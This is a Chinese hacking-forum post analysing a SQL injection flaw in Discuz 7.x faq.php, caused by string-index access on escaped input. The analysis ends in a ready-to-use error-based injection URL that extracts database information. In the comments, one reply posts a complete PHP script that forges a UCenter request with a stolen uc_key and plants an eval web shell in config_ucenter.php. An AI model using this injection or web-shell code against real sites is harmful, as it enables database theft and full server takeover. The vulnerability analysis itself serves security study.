Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患

2014-07-02 18:48:11 95 9588 6


刚回家就看到到处都在讨论这个漏洞, 闲的蛋疼就去看了下怎么形成的. 结果不看不知道, 一看就吓我一跳
没有想到在php里面, 如果取值不严谨的话还会有这样一种BUG的情况发生, 其实说来这也不算什么BUG, 只是一个机制问题
在分析前先给大家看一个例子, 在GPC开启的状态下假如有这样一段代码:
<?php
$sql = $_GET['sql'];
echo $sql;
exit;
?>
我们执行下会发现输出如下内容:


没有任何问题, 传递过去的单引号被用反斜杠转义了. 但是, 如果是这样写的呢?
<?php
$sql = $_GET['sql'];
echo $sql[0];
exit;
?>
我们在来输出下看看~


可以看到这个时候我们传递过来的单引号没有了, 反而剩下了一个反斜杠, 到这里算是一取值的小BUG吧
简单的理解的话, 如果你的值为String而非Array的情况下, 在php里若用php的数组取值方式$XX[0], 那么转移过的 \' 将变成 \
也就是说这个时候php会将你的string来进行一个拆解处理
假设$sql=123456 那么$sql[0]就会取出字符串1 $sql[1]就会取出字符串2
而$sql =\' 的话那么自然$sql[0] 就只获取了 \ 反斜杠一个字符串

那么再来看Discuz7.2的漏洞代码: (faq.php文件grouppermission)
} elseif($action == 'grouppermission') {

        require_once './include/forum.func.php';
        require_once language('misc');
        $permlang = $language;
        unset($language);

        $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;
        $groups = $grouplist = array();
        $query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
        $cgdata = $nextgid = '';
        while($group = $db->fetch_array($query)) {
                $group['type'] = $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' : $group['type'];
                $groups[$group['type']][] = array($group['groupid'], $group['grouptitle']);
                $grouplist[$group['type']] .= '<option value="'.$group['groupid'].'"'.($searchgroupid == $group['groupid'] ? ' selected="selected"' : '').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' &larr;' : '').'</option>';
                if($group['groupid'] == $searchgroupid) {
                        $cgdata = array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);
                }
        }
        if($cgdata[0] == 'member') {
                $nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0];
                if($cgdata[1] > 0) {
                        $gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1];
                }
                $gids[2] = $groups[$cgdata[0]][$cgdata[1]];
                if($cgdata[1] < count($groups[$cgdata[0]]) - 1) {
                        $gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1];
                        if(count($gids) == 2) {
                                $gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2];
                        }
                } elseif(count($gids) == 2) {
                        $gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2];
                }
        } else {
                $gids[1] = $groups[$cgdata[0]][$cgdata[1]];
        }
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0]; //问题就出在这里
        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); //直接带入
        $groups = array();
        while($group = $db->fetch_array($query)) {
                $group['maxattachsize'] = $group['maxattachsize'] / 1024;
                $group['maxsizeperday'] = $group['maxsizeperday'] / 1024;
                $group['maxbiosize'] = $group['maxbiosize'] ? $group['maxbiosize'] : 200;
                if($searchgroupid == $group['groupid']) {
                        $currenti = $group['groupid'];
                }
                $groups[$group['groupid']] = $group;
        }
$groupids是从$gids赋值过去的, 而这里Discuz并没有初始化$gids, 而是直接以数组的方式来给$gids赋值
所以$gids的的值我们可以通过数组的方式传递进入程序, 所以这里$gids是可控的~
我们随便传一点东西过去~ 来print_r一下$gids的值:


然后下面有一段foreach
foreach($gids as $row) {
        $groupids[] = $row[0]; //问题就出在这里
}
这里Discuz只考虑到了自己程序的取值, 因为$gids原始形成的就是一个多维数组, 但是既然我们可控的话, 漏洞在这里就产生了
看我们最开始说的, 这种取值方法如果目标非Array的话, 那么单引号就没有了~ 我们来测试下
传递 1.php?gids[t00ls]=%27
然后我们直接print_r处理后的$groupids~


可以看到单引号已经不见了, 只剩下了一个反斜杠, 那么再结合Discuz的implodeids函数一处理~ 漏洞就产生了~
我们直接让程序执行下去看看是什么结果


最后EXP:
faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,0x5430304C5320474F21,0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23


关于作者

Rices154篇文章2132篇回复

评论95次

要评论?请先  登录  或  注册
  • 75楼
    2014-7-5 22:03

    分析的很好,茅塞顿开

  • 74楼
    2014-7-5 20:57

    肉丝牛真正是一头菜牛啊。满身都是菜。

  • 73楼
    2014-7-5 17:42

    向老大学xi 第二个get的地方不是和第一个一样吗 没发现不同

  • 72楼
    2014-7-5 17:29

    大N的分析 很给力 原理也搞的明白了。。GOOD!!!

  • 71楼
    2014-7-5 13:11

    太牛了,好久没出漏洞的DZ,终于又出了。。 肉丝牛分析得太清楚了。

  • 70楼
    2014-7-5 10:15

    喜欢这样的详解贴,感谢肉丝牛

  • 69楼
    2014-7-5 09:36

    转义惹的祸

  • 68楼
    2014-7-5 03:08

    authKey getshell

  • 67楼
    2014-7-4 23:52

    分析的相当给力啊 我都看懂了!

  • 66楼
    2014-7-4 21:25

    好多这个工具啊

  • 65楼
    2014-7-4 21:02

    感谢 分享 分析的 不错

  • 64楼
    2014-7-4 19:53
    hang333

    这SQL注入能直接GETSHELL么(应该不能把

    1

    权限够的话可能啊

  • 63楼
    2014-7-4 17:01

    都在讨论这个东西,结果去测试没有一个成功的,这就是人品吗。

  • 62楼
    2014-7-4 16:38

    这个东西直接getshell(方法:可以先注入爆key,然后利用如下代码getshell:

    <?php   $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里 $url = 'http://localhost/api/uc.php'; $arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"'; #curl或者用其他工具post提交  function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {         $ckey_length = 4;         $key = md5($key);         $keya = md5(substr($key, 0, 16));         $keyb = md5(substr($key, 16, 16));         $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';          $cryptkey = $keya.md5($keya.$keyc);         $key_length = strlen($cryptkey);          $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;         $string_length = strlen($string);          $result = '';         $box = range(0, 255);          $rndkey = array();         for($i = 0; $i <= 255; $i++) {                 $rndkey[$i] = ord($cryptkey[$i % $key_length]);         }          for($j = $i = 0; $i < 256; $i++) {                 $j = ($j + $box[$i] + $rndkey[$i]) % 256;                 $tmp = $box[$i];                 $box[$i] = $box[$j];                 $box[$j] = $tmp;         }          for($a = $j = $i = 0; $i < $string_length; $i++) {                 $a = ($a + 1) % 256;                 $j = ($j + $box[$a]) % 256;                 $tmp = $box[$a];                 $box[$a] = $box[$j];                 $box[$j] = $tmp;                 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));         }          if($operation == 'DECODE') {                 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {                         return substr($result, 26);                 } else {                         return '';                 }         } else {                 return $keyc.str_replace('=', '', base64_encode($result));         }  }  ?>

  • 61楼
    2014-7-4 14:32

    分析的很好~

  • 60楼
    2014-7-4 11:50

    长知识了

  • 59楼
    2014-7-4 11:10

    真心的崇拜!

  • 58楼
    2014-7-4 01:42

    恩恩 分析的很透彻

  • 57楼
    2014-7-4 01:36

    没看懂。。。。

  • 56楼
    2014-7-3 22:59

    不愧是Rices,分析真心不错